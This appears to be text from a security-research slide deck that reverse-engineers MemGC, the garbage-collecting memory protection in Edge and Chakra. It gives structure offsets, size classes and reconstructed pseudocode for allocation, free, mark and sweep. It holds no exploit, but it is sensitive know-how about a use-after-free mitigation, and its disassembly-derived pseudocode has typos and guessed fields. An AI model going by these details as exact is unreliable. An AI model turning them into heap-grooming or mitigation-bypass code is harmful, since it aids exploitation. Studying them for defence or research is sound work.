HeapBucketGroup 0x154
0x000
m_HeapBucketT<SmallNormalHeapBlock>
0x044 m_HeapBucketT<SmallLeafHeapBlock>
0x080 m_HeapBucketT<SmallFinalizableHeapBlock>
0x0c8 m_HeapBucketT<SmallNormalWithBarrierHeapBlock>
0x10c m_HeapBucketT<SmallFinalizableWithBarrierHeapBlock>
HeapBucketT<SmallNormalHeapBlock>
HeapBucketT<SmallNormalHeapBlock>
0x04
size :int
0x0c m_SmallHeapBlockAllocator
0x20 pPartialReuseHeapBlockList
0x24 pEmptyHeapBlockList
0x28
pFullMarkedHeapBlockList
0x2c
pPendingNewHeapBlockList
SmallHeapBlockAllocator<SmallNormalHeapBlock>
0x00 endadderss
0x04 startaddress
0x08 pSmallNormalHeapblock
LargeHeapBucket
LargeHeapBucket
0x04 size
0x0c pSweepLargeHeapBlockList
0x10 pNewLargeHeapBlockList
0x18 pDisposeLargeHeapBlockList
0x1c pPendingLargeHeapBlockList
0x28 pFreeListHead
0x2c pExplicitFreeList
SmallNormalHeapBlock
0x04: StartAddress
0x20:pNextSmallHeapblock
0x24: pFreeHeapObject
0x2c: pValidPointersBuffer
0x34: blockSize
0x36: objectCapacity
0x44: pMarkBitMapTable
0x48: freeBitVector
0 1 2 3 4 5 6 7 8 9 a b c d e f
1
0
1
1
1
2
1
3
1
4
1
5
1
6
1
7
1
8
1
9
1
a
1
b
1
c
1
d
1
e
1
f
Attribute Array
SmallNormalHeapBlock
LargeHeapBlock
LargeHeapBlock
0x04 pageAddress
0x28 allocblockcount
0x2c blockCapacity
0x30 allocAddress
0x34 endAddress
0x38 pNextLargeHeapBlock
0x44 pPrevFreeList
0x48 pNextFreeList
0x4c pFreeHeapObject
0x64 allocBlockAddressArray[]
0
1
2
…
blockCapa
city-1
HeapBlock32Map
HeapBlock32Map
0x00 count
0x04
m_pL2MapChunkArray[4096]
L2MapChunk
0x0000 markbitmaptable[256]
0x2000 m_address2heapblocktable[256]
OVERVIEW
• Alloc
• Free
• Mark
• Sweep
Algorithms
MemGC Alloc
edgehtml!MemoryProtection::HeapAlloc<1>
edgehtml!MemoryProtection::CMemoryGC::ProtectedAlloc<3>
chakra! MemProtectHeapRootAlloc
chakra!Recycler::NoThrowAllocImplicitRoot
Alloc
• (0x00-0x400]—HeapBucketGroup
– array size: 0x400/0x10 = 0x40
• (0x400-0x2400]—LargeHeapBucket
– array size: 0x2000/0x100 = 0x20
• (0x2400-)—LargeHeapBucket
– size: 0x01
MemGC Alloc
size
HeapBucket address
0x10
m_HeapBucketGroup[0x00]
0x20
m_HeapBucketGroup[0x10]
0x30
m_HeapBucketGroup[0x20]
……
……
0x390
m_HeapBucketGroup[0x38]
0x400
m_HeapBucketGroup[0x39]
0x500
m_LargeHeapBucket[0x00]
0x600
m_LargeHeapBucket[0x01]
……
……
0x2300
m_LargeHeapBucket[0x18]
0x2400
m_LargeHeapBucket[0x19]
>0x2400
m_LastLargeHeapBucket
HeapBucketT<SmallNormalHeapBlock>
HeapBucketT<SmallNormalHeapBlock>
0x00 pHeapInfo
0x04 size
0x0c
m_SmallHeapBlockAllocator
0x00 endaddress
0x04
startaddress
0x08 pSmallNormalHeapBlock
0x20 pPartialReuseHeapBlockList
1、startaddress + blocksize <= endaddress
return startaddress
2、HeapBucketT::SnailAlloc
pPartialReuseHeapBlockList !=null;
alloc from pPartialReuseHeapBlockList
3、New SmallNormalHeapBlock
LargeHeapBucket
LargeHeapBucket
0x00 pHeapInfo
0x04 size
0x10 pNewLargeHeapBlockList
0x28
pFreeListHead
0x2c pExplicitFreeList
1、pNewLargeHeapBlockList
2、pExplicitFreeList, pFreeListHead
3、New LargeHeapBlock
Alloction
Recycler::NoThrowAllocImplicitRoot( int size )
HeapInfo* pHeapInfo = &(this->m_HeapInfo);
Recycler* pRecycler = this->pRecycler;
//Adjust the size to 0x10 bytes align.
int align_size = (size + 15) & 0xfffffff0;
//size <= 0x400,go into small heap
if( size <= 0x400)
{
//Get the HeapBucketGroup index in the HeapInfo->m_HeapBucketGroup
int index = align_size / 16;
//Get the SmallNormalHeapBlock type HeapBucketT
HeapBucketT<SmallNormalHeapBlock>* pHeapBucketT = &pHeapInfo->m_HeapBucketGroup[ index
].m_HeapBucketT<SmallNormalHeapBlock>;
//Get SmallHeapBlockAllocator
SmallHeapBlockAllocator* pSmallHeapBlockAllocator = pHeapBucketT->pSmallHeapBlockAllocatorT;
//Get pSmallNormalHeapBlock
SmallNormalHeapBlock* pSmallNormalHeapBlock = pSmallHeapBlockAllocator->pSmallHeapBlock ;
//if startAddress + align_size > endAddress,go into SnailAlloc or
if (pSmallHeapBlockAllocator->startAddress + align_size <= pSmallHeapBlockAllocator->endAddress)
{
//startAddress + align_size <= endAddress, return the startAddress
allocAddress =
pHeapBucketT->startAddress;
//update the startAddress of pSmallHeapBlockAllocator equal startAddress + align_size
pSmallHeapBlockAllocator->startAddress = pHeapBucketT->startAddress + align_size;
if( pSmallHeapBlockAllocator->NeedSetAttributes( 8 ))
{
pSmallNormalHeapBlock->SetAttribute(pHeapBucketT, 8);
}
return allocAddress;
}
NoThrowAllocImplicitRoot:Part I
Align the size to 0x10
Size <= 0x400, go into small heap object alloc
//if startAddress + align_size > endAddress,go into SnailAlloc or
else
{
//startAddress==0 or endAddress!=0 ,gointo SnailAlloc
if( pSmallHeapBlockAllocator->startAddress ==0 || pSmallHeapBlockAllocator->endAddress!=0 )
{
allocAddress = pHeapBucketT->SnailAlloc(pRecycler, pSmallHeapBlockAllocator, align_size, 8, 1);
if( allocAddress == 0)
return 0;
else
*allocAddress = 0;
return allocAddress
}
if( pSmallHeapBlockAllocator->NeedSetAttributes( 8 ))
{
pSmallNormalHeapBlock->SetAttribute(pHeapBucketT, 8);
}
//startAddress !=0 &&endAddress==0, we can reuse the free heap object
//free heap object first dword is a pointer which pointer to the next heap object.
allocAddress =
pSmallHeapBlockAllocator->startAddress;
//startAddress to the next heap object
pSmallHeapBlockAllocator->startAddress = (*pSmallHeapBlockAllocator->startAddress) & 0xffffffe;
return allocAddress;
}
NoThrowAllocImplicitRoot:Part I
Goto snailalloc or reuse freeobject
NoThrowAllocImplicitRoot:Part II
Alloc middle object
else if( size <= 0x2400 ) //size in (0x400,0x2400],进入LargeHeapBucket进行分配
{
//Calculate largeheapbucket index in HeapInfo.m_LargeHeapBucket
int largebucketIndex = ( align_size - 1025 ) / 256 ;
//Get LargeHeapBucket
LargeHeapBucket* pLargeHeapBucket = &pHeapInfo->m_LargeHeapBucket[ largebucketIndex];
//Get pLargeHeapBlockList
pLargeHeapBlock = pLargeHeapBucket->pLargeHeapBlockList;
//pLargeHeapBlockList not zero, go into LargeHeapBlock::Alloc
if(pLargeHeapBlock)
{
allocAddress = pLargeHeapBlock ->Alloc( align_size, 8)
if( allocAddress)
{
*allocAddress = 0;
return allocAddress;
}
}
//pLargeHeapBlockList is zero, check freelistflag,if true, to alloc from freelsit
else if( pLargeHeapBucket-> freelistflag)
{
allocAddress = pLargeHeapBucket->TryAllocFromExplicitFreeList(pLargeHeapBucket,
(int)v2, v12, 8u);
if( allocAddress || allocAddress = pLargeHeapBucket->TryAllocFromFreeList( )!=0 )
return allocAddress;
}
//if above two step alloc fail, go into LargeHeapBucket::SnailAlloc
pLargeHeapBucket->SnailAlloc(pRecycler, align_size, 8, 1);
}
NoThrowAllocImplicitRoot:Part III
Alloc large object
else //size > 0x2400,go into Recycler::LargeAlloc
{
allocAddress = Recycler::LargeAlloc( pHeapInfo, size, 8 )
*allocAddress = 0;
return allocAddress;
}
HeapBucketT<SmallNormalHeapBlock>::SnailAlloc Part I
//SmallHeapBlockAllocator<SmallNormalHeapBlock>::Clear( )
pSmallHeapBlockAllocator->clear( );
//get reuse smallheapblock
SmallHeapBlock* pFreeListHeapBlock = this->pFreeListHeapBlock;
//pFreeListHeapBlock not zero, go into reuse the heapblock
if(pFreeListHeapBlock )
{
//set the pFreeListHeapBlock to the NextSmallHeapBlock
this->pFreeListHeapBlock = pFreeListHeapBlock->pNextSmallHeapBlock;
pFreeListHeapBlock->markFlag = 1;
//set SmallHeapBlockAllocator::pSmallHeapblock pointer pFreeListHeapBlock
pSmallHeapBlockAllocator->pSmallHeapBlock = pFreeListHeapBlock;
//beginAddress point to the reuse heapblock pFreeHeapObject
pSmallHeapBlockAllocator->beginAddress = pFreeListHeapBlock->pFreeHeapObject;
}
//Get HeapBlockMap32
HeapBlockMap32* pHeapBlockMap32 = &pRecycler->m_HeapBlockMap32;
//initial SmallNormalHeapBlock
pSmallNormalHeap-> pPageSegment = pageSegment
pSmallNormalHeap-> startAddress = pageaddress;
int first_index = (pageaddress /2^20)
int second_index = (pageaddress / 2^12) & 0xff;
pL2MapChunk = pHeapBlockMap32->m_pL2MapChunkArray[ first_index ];
//map the pageaddress and SmallHeapBlock relation
pL2MapChunk->Set(second_index, 1, pSmallHeapBlock);
//Get markbitmaptable to initial SmallNormalHeapBlock::pMarkBitMap
markbitmaptable = pL2MapChunk->m_markbitmaptable[ second_index ];
pSmallHeapBlock->pMarkBitMap
= markbitmaptable;
//add the new SmallNormalHeapBlock into Recycelr-> pSmallNormalHeapBlockList list
pSmallHeapBlock-> pNextSmallHeapblock = pRecycler-> pSmallNormalHeapBlockList;
pRecycler-> pSmallNormalHeapBlockList = pSmallHeapBlock;
pSmallHeapBlock-> markflag = 1;
//Initial pSmallHeapBlockAllocator
pSmallHeapBlockAllocator->pSmallHeapBlock = pSmallHeapBlock;
pSmallHeapBlockAllocator->startAddress = pSmallHeapBlock->startAddress;
pSmallHeapBlockAllocator->endAddress = pSmallHeapBlock->startAddress + 0x1000;
……
return pageaddress;
HeapBucketT<SmallNormalHeapBlock>::SnailAlloc Part II
LargeHeapBlock* LargeHeapBucket::AddLargeHeapBlock(int blockSize, bool param4)
{
int freelistflag = this->freelistflag;
int memoryCapacity =0;
struct Segment *pSegment = null;
HeapInfo* pHeapInfo = this->pHeapInfo;
Recycler* pRecycler = pHeapInfo->pRecycler;
if( freelistflag == 0)
memoryCapacity = 4* blockSize;
//memoryCapacity + 16 >= memoryCapacity check int overflow
if( memoryCapacity + 16 >= memoryCapacity )
{
//culation requires allocation of pages
int pagenum =( memoryCapacity + 0xfff)>>12;
//select pageallocator
RecyclerPageAllocator* pRecyclerPageAllocator = &pRecycler-
>m_RecyclerPageAllocator[2];
//alloc pages
int pageaddress = pRecyclerPageAllocator->AllocInternal( pagenums,
&pSegment);
//Calculate the pages contains how may blocks
int blocksNum =(((pagenums<<12) - blockSize - 16 ) >>10 ) + 1;
//largeheapblock size is 0x64 add blocksNum*4
int largeheapblockSize = 0x64 + blocksNum*4;
//alloc LargeHeapBlock
LargeHeapBlock* pLargeHeapblock =
(LargeHeapBlock*)HeapAllocator::NoThrowAllocZero(largeheapblockSize );
LargeHeapBucket::AddLargeHeapBlock Part I
if( pLargeHeapBlock)
{
pLargeHeapBlock->pLargeHeapBucket = this;
pLargeHeapBlock->pagenum = pagenum;
pLargeHeapBlock->blockCapacity = blocksNum;
pLargeHeapBlock->allocAddress = pageaddress;
pLargeHeapBlock->largeHeapType = 0x05;
pLargeHeapBlock->pNextLargeHeapBlock = pLargeHeapBlock;
pLargeHeapblock->pPageSegment = pSegment;
pLargeHeapblock->pageAddress = pageaddress;
pLargeHeapblock->unknown = 0;
pLargeHeapblock->endaddress = pageaddress + pagenum<<12;
pRecycler->pageCount += pagenum;
pLargeHeapblock ->pHeapInfo = pHeapInfo;
*(pLargeHeapBlock+0x54) = 0;
bool result = pRecycler->m_HeapBlockMap32.SetHeapBlock(
pageaddress,pagenum,pLargeHeapBlock );
if(result)
{
//link the new LargeHeapBlock to the pLargeHeapBucket-
>pLargeHeapBlockList list
pLargeHeapblock->pNextLargeBlock = pLargeHeapBucket-
>pLargeHeapBlockList;
pLargeHeapBucket->pLargeHeapBlockList = pLargeHeapblock;
return pLargeHeapblock;
}
}
LargeHeapBucket::AddLargeHeapBlock Part II
SmallNormalHeapBlock
Size = 0x68 + ((0x1000/blocksize) +3 )&0x0FFFFFFFC
blockSize
blockSize
blockSize
……
……
……
blockSize
blockSize
blockSize
SmallNormalHeapBlock
0x04: StartAddress
0x20:pNextSmallHeapblock
0x24: pFreeHeapObject
0x2c: pValidPointersBuffer
0x34: blockSize
0x36: objectCapacity
0x44: pMarkBitMapTable
0x48: freeBitVector
0 1 2 3 4 5 6 7 8 9 a b c d e f
1
0
1
1
1
2
1
3
1
4
1
5
1
6
1
7
1
8
1
9
1
a
1
b
1
c
1
d
1
e
1
f
Attribute Array
0 1 2 3 4 5 6 7 8 9 a b c d e f
1
0
1
1
1
2
1
3
1
4
1
5
1
6
1
7
1
8
1
9
1
a
1
b
1
c
1
d
1
e
1
f
0
1
2
……
fe
ff
100
101
102
……
1fe
1ff
HeapInfo::ValidPointersMap::validPointersBuffer
L2MapChunk
SmallNormalHeapBlock
Markbitmap,freeBitvector
• SmallHeapBlock managers one page( 4k)Memory.
– 2^12/2^4=256
• markbitmap 32 bytes, 256 bit.
– bit 1: mark
– bit 0: unmark
• freeBitVector 32 bytes, 256 bit.
– bit 1: free
– bit 0: unfree
validPointersBuffer
• Each SmallHeapBlock mangers one page(4k)
memory
– 2^12/2^4=256
• ValidPointer: the beginaddres of the object is
Valid pointer, the interior address is invalid
pointer.
• Each validPointersBuffer element contains two
part, each part is an array,array length is 256.
– First part: Chakra GC
– Second part: MemGc
HeapInfo::ValidPointersMap::validPointersBuffer
SmallNormalHeapBlock
blocksize 0x20
pageaddress 0x15100000
validPointersBuffer example
• 15100000,15100020,15100040……
• 15100010
– Chakra GC:
• index = validPointerBuffer_chakra[(address –
pageaddress)/0x10] = 0xffff
– MemGC
• Index = validPointerBuffer_memgc[(address –
pageaddress)/0x10] = 0x00
• Realaddress = pageaddress + index*blocksize =
0x15100000
LargeHeapBlock
• pagenums = ((blocksize*4 + 10 ) + 0xfff)/2^12
• arrayLength = ( (pagenums*2^12) – blocksize -0x10)/2^10 +1
• largeheapblockSize = 0x64 + 4*arrayLength
LargeHeapBlock
LargeHeapBlock
0x04 pageAddress
0x28 allocblockcount
0x2c blockCapacity
0x30 allocAddress
0x34 endAddress
0x38 pNextLargeHeapBlock
0x44 pPrevFreeList
0x48 pNextFreeList
0x4c pFreeHeapObject
0x64 allocBlockAddressArray[]
0
1
2
…
blockCapa
city-1
blockSize
+0x10
blockSize
+0x10
blockSize
+0x10
……
……
……
blockSize
+0x10
blockSize
+0x10
blockSize
+0x10
LargeObjectHeader
LargeObjectHeader( inuse )
0x00 index
0x04 blocksize
0x08 initialzero
0x0c encode
LargeObjectHeader( free)
0x00 index
0x04 blocksize
0x08 pLargeHeapBlock
0x0c pNextFreeHeapObject
pageaddress to HeapBlock
• pageaddres
– High 12 bit: first_index
– Middle 8 bit: second_index
– Low 12 bit: not used
3
1
3
0
2
9
2
8
2
7
2
6
2
5
2
4
2
3
2
2
2
1
2
0
1
9
1
8
1
7
1
6
1
5
1
4
1
3
1
2
1
1
1
0
9 8 7 6 5 4 3 2 1 0
HeapBlock32Map
count: the number of L2MapChunk in m_pL2MapChunkArray
m_pL2MapChunkArray: an L2MapChunk array.
HeapBlock32Map
0x00 count
0x04
m_pL2MapChunkArray[4096]
L2MapChunk
0x0000 markbitmaptable[256]
0x2000 m_address2heapblocktable[256]
markbitmaptable: markbitmap array. each element 32 bytes
m_address2heapblocktable : an array, each element is an pointer
to HeapBlock
pageaddress to HeapBlock
MemGC Free
• edgehtml! MemoryProtection::HeapFree
Edgehtml!MemoryProtection::CMemoryGC::ProtectedFree
chakra!MemProtectHeapUnrootAndZero
MemProtectHeapUnrootAndZero
MemProtectHeapUnrootAndZero(MemProtectHeap* pMemProtectHeap, void* freeBlockAddress)
{
MemProtectThreadContext* pMemProtectThreadContext = TlsGetValue( pMemProtectHeap-
>m_tlsIndex);
RecyclerHeapObjectInfo tempRecyclerHeapObjectInf;
if( pMemProtectThreadContext )
{
*(_BYTE*)(pMemProtectThreadContext+8) = 1;
MemProtectHeap* pMemProtectHeapFromContext = pMemProtectThreadContext-
>pMemProtectHeap;
Recycler* pRecycler = &(pMemProtectHeapFromContext->m_Recycler);
if(pRecycler->FindHeapObject( freeblockAddress,2, &tempRecyclerHeapObjectInf ))
{
if( !tempRecyclerHeapObjectInf.IsLeaf( ))
{
int objectsize = tempRecyclerHeapObjectInf.pHeapBlock->GetObjectSize( );
//set the freeblockaddress content zero
memset( freeBlockAddress, 0, objectsize);
}
if(tempRecyclerHeapObjectInf.ClearImplictRootbit( ))
{
pMemProtectThreadContext->NotifyUnroot( &RecyclerHeapObjectInfo);
}
}
}
}
1、memset zero
2、unroot
Mark
stackpointer: the stack current element address.
basepointer: the stack begin address
endAddress: the stack endaddress
arrayStartAddress : the begin address which maintance the
stack information.
chakra!markcontext
0x08 stackpointer
0x0c basepointer
0x10 endAddress
0x14 arrayStartAddress
Mark
find roots
• MemProtectHeap::FindRoots
– MemProtectThreadContext::ScanStack
– Recycler::ScanImplicitRoots
• push the root object into makecontext.
processmarkcontext
Address mark
• Address > 0x10000
• Address -> HeapBlock
• realaddress = GetRealAddressFromInterior
– LargeHeapBlock:: GetRealAddressFromInterior
– SmallHeapBlock::GetRealAddressFromInterior
address mark
• Addres
– High 12 bit: first_index
– Middle 8 bit: second_index
– Low 8 bit: bit_index
– Last low 4 bit: 0x10 bytes alignment
3
1
3
0
2
9
2
8
2
7
2
6
2
5
2
4
2
3
2
2
2
1
2
0
1
9
1
8
1
7
1
6
1
5
1
4
1
3
1
2
1
1
1
0
9 8 7 6 5 4 3 2 1 0
address mark
push (address,size) to stack
• The address is the first time mark
• Address -> HeapBlock
• SmallNormalHeapBlock::ProcessMarkedObject
• LargeHeapBlock::Mark
chakra!SmallNormalHeapBlock::ProcessMarkedObject(SmallHeapBlock* pSmallHeapBlock, int
address, MarkContext* pMarkContext)
{
int blockSize = this->blockSize;
BYTE bit_index = (address>>4) &0xff int invalidBitsIndex = blockSize/0x10;
//32 bytes
invalidBits = HeapInfo::ValidPointersMap:: invalidBitsData[ invalidBitsIndex ];
//1,invalid,0 valid
if(!bittest( invalidBits, bit_index ))
{
if( pMarkContext->stackpointer != pMarkContext->arrayEndAddress)
{
//push one element into the stack.
stackpointer = pMarkContext->stackpointer;
*stackpointer = address;
*(currentAddress+4) = blockSize;
pMarkContext->stackpointer +=8;
}
}
}
SmallNormalHeapBlock::ProcessMarkedObject
invalidBitsData
• each smallheapblock manager one page
memory(4k)
– 2^12/2^4 = 256
• Each invalidBitsData element is 32 bytes, 256
bit , each bit indicates whether the address is
a valid pointer
– bit 1: invalid pointer
– bit 0: valid pointer
HeapInfo::ValidPointersMap::invalidBit
sData
• blocksize 0x20
chakra!LargeHeapBlock::Mark( int address, MarkContext* pMarkContext)
{
//get the largeobjectheader
LargeObjectHeader* pLargeObjectHeader = (LargeObjectHeader*)(address-0x10)
//check the object is a valid object
//one: address-0x10 > LargeHeapblock::pageaddress
//two: LargeObjectHeader::index < LargeHeapblock::allocblockcount
//three: address-0x10 == allocBlockAddressArray[pLargeObjectHeader->index]
if(pLargeObjectHeader >= this->pageaddress && pLargeObjectHeader->index <this-
>allocblockcount
&&
this->allocBlockAddressArray[pLargeObjectHeader->index] ==
pLargeObjectHeader)
{
//push one object info into stack.
stackpointer = pMarkContext->stackpointer;
*strackpointer = address;
*(stackpointer+4) = pLargeObjectHeader->blockSize;
pMarkContext->stackpointer +=8;
}
}
LargeHeapBlock::Mark
HeapInfo::Sweep<0>
HeapInfo::Sweep<0>( RecyclerSweep* pRecyclerSweep, bool flag)
{
for( var i=0;i<0x40;i++)
{
HeapBucketGroup pHeapBucketGroup = &this->m_HeapBucketGroup[i];
SmallFinalizableHeapBucketT<SmallFinalizableHeapBlock>* pHeapBucket =
&pHeapBucketGroup->m_HeapBucketT<SmallFinalizableHeapBlock>;
pHeapBucket->Sweep0( pRecyclerSweep );
SmallFinalizableHeapBucketT<SmallFinalizableWithBarrierHeapBlock>* pHeapBucket =
&pHeapBucketGroup->m_HeapBucketT<SmallFinalizableWithBarrierHeapBlock>;
pHeapBucket->Sweep0( pRecyclerSweep );
}
this->SweepSmallNonFinalizable<0>(pRecyclerSweep);
for( var i=0;i<0x20;i++)
{
LargeHeapBucket* pLargeHeapBucket = &this->m_LargeHeapBucket[i];
pLargeHeapBucket->Sweep<0>( pRecyclerSweep);
}
this->m_LastLargeHeapBucket.Sweep<0>( pRecyclerSweep);
}
HeapBucketT<SmallNormalHeapBlock>
HeapBucketT<SmallNormalHeapBl
ock>
0x20 pPartialReuseHeapBlockList
0x24 pEmptyHeapBlockList
0x28 pFullMarkedHeapBlockList
0x2c pPendingNewHeapBlockList
SweepSmallHeapBlock
SmallHeapBlock::sweep<0>
• return status
– 0: no object marked
– 1 : partial object marked
– 2 : all object marked
– 3: never come here
– 4: some pending heapblock
SmallHeapBlock::Sweep<0>
1、Calculation freecount
2、Calculation markcount
3、Sweepcount = objectCapacity – markcount-
freecount
SmallHeapBlock::Sweep<0>(RecyclerSweep *pRecyclerSweep,pendingflag,flag,pSmallHeapBlock-
>unknowncount,flagDispose )
{
if(flag)
{
//if pFreeHeapObject != pLatestSweepFreeHeapObject, after the last sweep, some free object
alloced
//need
if(this->pFreeHeapObject != this->pLatestSweepFreeHeapObject)
{
this->freeobjectCount = this->BuildFreeBitVector( this->pFinalizeBitMap);
this->pLatestSweepFreeHeapObject = this->pFreeHeapObject;
}
pRecycler = *pRecyclerSweep;
if(*(pRecyler->bPartialCollectMode)
{
int freeblock =this->freeobjectCount;
int
lastSweepfreeblock = this->lastetSweepfreeblockCount;
int blockSize = this->blockSize;
int sub = lastSweepfreeblock - freeblock;
int subtotal = sub*blockSize;
this->lastetSweepfreeblockCount = this->freeobjectCount;
* (pRecyclerSweep + 0x1424) +=aa;
*(pRecycler + b5c0) += aa;
}
else
{
//update lastetSweepfreeblockCount
this->lastetSweepfreeblockCount= this->freeobjectCount;
this->freeblock3e = this->freeobjectCount;
}
}
SmallHeapBlock::Sweep<0>: Part I
if( this->freeobjectCount)
{
pMarkBitMapTable = this->pMarkBitMapTable;
pMarkBitMapTableEnd = pMarkBitMapTable+32;
pTemp=pMarkBitMapTable;
pFreeBitVector = &this->freeBitVector
//Recalculated markbittable
do(
*pTemp =*pTemp & ( ~*(pFreeBitVector +pTemp-
pMarkBitMapTable ) );
pTemp += 4;
)while( pTemp !=pMarkBitMapTableEnd )
}
SmallHeapBlock::Sweep<0>: Part II
blockSize = this->blockSize;
pinvalidBitsData =
chakra!HeapInfo::ValidPointersMap::invalidBitsData;
pInvalidBitsDataBegin = pinvalidBitsData+32*( blockSize>>4);
pMarkBitMapTable = this->pMarkBitMapTable;
pMarkBitMapTableEnd = pMarkBitMapTable+32;
//Recalculated markbittable
for(; pMarkBitMapTable!=pMarkBitMapTableEnd;pMarkBitMapTable+=4)
{
int value = *pInvalidBitsDataBegin;
pInvalidBitsDataBegin+=4;
*pMarkBitMapTable= *pMarkBitMapTable&(~*value);
}
SmallHeapBlock::Sweep<0>: Part III
int markcount = 0;
pMarkBitMapTable = this->pMarkBitMapTable;
//Calculation mark object number
for(int i=0;i<8;i++)
{
markcount
+=BVUnitT<unsigned_int>::CountBit(pMarkBitMapTable + 4*i );
}
SmallHeapBlock::Sweep<0>: Part IV
if( pendingDisposeCount || markcount!=0)
{
result = 1;
LABEL_25:
//have dispose object, return 3.
if( flagDispose)
result = 3;
if( unmark)
{
if(pendingflag)
{
*(pRecyclerSweep+0x141a) = 1;
result = 4;
this->0x0e = 1;
return result;
}
this->SweepObjects<0>(* pRecyclerSweep);
if( this->IsIsAnyFinalizableBlock()&& (this-
>0x6aunknownDispose1))
return 3;
}
else
//all object marked, return 2
if(!freeblock)
return 2;
return result;
}
if( flagDispose)
goto Label_25:
return 0;
}
SmallHeapBlock::Sweep<0>: Part V
Calculation markcount
markbitmap
invalidBitsData
freebitvector
New markbitmap
Why need invalidBitsData,
freebitvector
• MemGC is a Conservative GC, does not
distinguish between data and pointers.
• X is a data manager by MemGC
– X.value == freeobjectA.address or X.value ==
InvalidPointer
– In MemGC mark phase, it will mark the
address(x.value).
Sweepcount!=0
• sweepcount= objectCapacity - freeCount-
markcount
SmallHeapBlock::SweepObjects<0>(Recycler* pRecycler)
{
startaddress = this->startaddress;
pMarkBitMapTable = pSmallHeapBlock->pMarkBitMapTable
;
blockCount = this->blockCount( 0x34)
blocksize = this->blocksize ( 0x36)
tyeparray=
(*BYTE)this-1;
vartype = *typearray
tempaddress = startaddress
freeBitVector = pSmallHeapBlock->freeBitVector
//while( ) process each object in the SmallHeapBlock
where(blockcount--)
{
//tempaddress unmarked
if(tempaddress unmark in pMarkBitMapTable and tempaddress unkmark in
freeBitVector)// check in Bitmapaddress)
{
//vartype not implict root
if(vartype & 0x80 ==0)
{
//link the tempaddress into the freeheapobject list
pFreeHeapObject = this->pFreeHeapObject;
pFreeHeapObject = pFreeHeapObject | 1;
*tempaddress = pFreeHeapObject;
this->pFreeHeapObject = tempaddress;
*typearray = 0;
}
SmallHeapBlock::SweepObjects I
pFreeHeapObject
SmallNormalHeapBlock
0x24: pFreeHeapObject
0x00:pNextHeapObject
0x00:pNextHeapObject
0x00:pNextHeapObject
0x00:pNextHeapObject
SmallHeapBlock mark-sweep example
0x00000000
0x15000001
0x15000001
0x15000301
0x15000301
0x15000401
0x15000401
0x15000501
0x15000501
0x15000801
0x15000801
0x15000b01
0x15000b01
0x15000c01
0x15000c01
0x15000f01
PageAddress: 0x15000000
LargeHeapBucket::Sweep<0>(RecyclerSweep* pRecyclerSweep)
{
LargeHeapBlock*
pNewLargeHeapBlockList,pSweepLargeHeapBlockList,pUnknown1,pDisposeLargeHeapBlockLi
st;
pNewLargeHeapBlockList = this->pNewLargeHeapBlockList;
pSweepLargeHeapBlockList
= this->pSweepLargeHeapBlockList;
//pUnknown1 always null.
pUnknown1 = this->pUnknown1;
pDisposeLargeHeapBlockList = this->pDisposeLargeHeapBlockList;
this->pNewLargeHeapBlockList =0;
this->pSweepLargeHeapBlockList =0;
this->pUnknown1 = 0;
if( this->freelistflag)
{
this->pExplicitFreeListHead = 0;
this->pFreeListHead = 0;
}
//sweep pNewLargeHeapBlockList, pSweepLargeHeapBlockList,
pUnknown1,pDisposeLargeHeapBlockList list.
this->SweepLargeHeapBlockList<0>(pRecyclerSweep,pNewLargeHeapBlockList );
this->SweepLargeHeapBlockList<0>(pRecyclerSweep,pSweepLargeHeapBlockList );
this->SweepLargeHeapBlockList<0>(pRecyclerSweep,pUnknown1 );
this->SweepLargeHeapBlockList<0>(pRecyclerSweep,pDisposeLargeHeapBlockList );
}
LargeHeapBucket::Sweep<0>
LargeHeapBucket
LargeHeapBucket
0x0c pSweepLargeHeapBlockList
0x10 pNewLargeHeapBlockList
0x14 pUnknown1
0x18 pDisposeLargeHeapBlockList
0x1c pPendingLargeHeapBlockList
SweepLargeHeapBlock
LargeHeapBlock::Sweep<0>
• Return status
– 0: no object marked
– 1 : partial object marked
– 2 : all object marked
– 3: never come here
– 4: some pending heapblock
LargeHeapBlock::Sweep<0>
•
calculation markcount
LargeHeapBlock::Sweep<0>
int LargeHeapBlock::Sweep<0>( )
{
int result;
//Calculate marked object number in the LargeHeapBlock
int markCount = this->GetMarkCount( );
//markcount==0 && this->sweepFlag==0, return zero, It indicates that the memory
in the largeheapBlock can be released
if( markCount ==0 && this->sweepFlag==0)
{
Recycler::EventWriteFreeMemoryBlock( );
result = 0;
}
else
{
//some object alloc from LargeHeapblock need sweep.
if( markCount != this->allocblockcount)
{
this->SweepObjects<0>()
}
if( this->pDisposeObjectList) //largeheapblock->0x3c
result = 3;
else
{
//have reuse heap object, return 1.
if( (this->blockCapacity != this->allocblockcount
&& this->endAddress-
this->allocAddress >=0x400) || this->pFreeHeapObject!=0)
{
result = 1;
}
else
//all object marked, return 2.
result = 2;
}
}
calculation markcount
for( i=0;i< allocblockcount;i++)
{
objectheader = allocBlockAddressArray[i];
if( ismarked( objectheader + 0x10 ))
markcount++;
}
Need sweep
• markCount!=allocblockcount
int LargeHeapBlock::SweepObjects<0>
int LargeHeapBlock::SweepObjects<0>(Recycler* pRecycler )
{
flag = this->0x54;
if (flag)
{
pAllocBlockAddressArray = this->allocBlockAddressArray;
int index = 0;
//do{}while{} get each object alloc from the LargeHeapBlock, check the object status,if unmark, sweep
the object.
do
{
tempAllocAddress = *pAllocBlockAddressArray;
//check the tempAllocAddress is valid
if( (tempAllocAddress & 1) ==0 && tempAllocAddress )
{
//get the tempAllocAddress
index in m_pL2MapChunkArray
int first_index = (tempAllocAddress + 0x10) >> 20;
L2MapChunk* pL2MapChunk = pRecycler->m_pL2MapChunkArray[ first_index];
//if tempAllocAddress not marked, sweep the object.
if(!tempAllocAddress mark in pL2MapChunk->m_markbitmaptable)
{
LargeObjectHeader* pLargeObjectHeader =(LargeObjectHeader*) tempAllocAddress;
blockSize = pLargeObjectHeader->blocksizes;
this->SweepObject<0>( pRecycler,tempAllocAddress );
//if LargeHeapBlock::pLargeHeapBucket not null, link the object into pFreeHeapObject.
if( this->pLargeHeapBucket)
{
pFreeHeapObject = this->pFreeHeapObject;
pLargeObjectHeader->index = index;
pLargeObjectHeader->pLargeHeapBlock = this;
pLargeObjectHeader->blocksize = blockSize;
pLargeObjectHeader->pNextFreeHeapObject = pFreeHeapObject;
this->pFreeHeapObject = tempAllocAddress;
}
}
free largeobject list
LargeObjectHeader( free)
0x00 index
0x04 blocksizes
0x08 pLargeHeapBlock
0x0c pNextFreeHeapObject
LargeHeapBlock
0x4c pFreeHeapObject
LargeObjectHeader( free)
0x00 index
0x04 blocksizes
0x08 pLargeHeapBlock
0x0c pNextFreeHeapObject
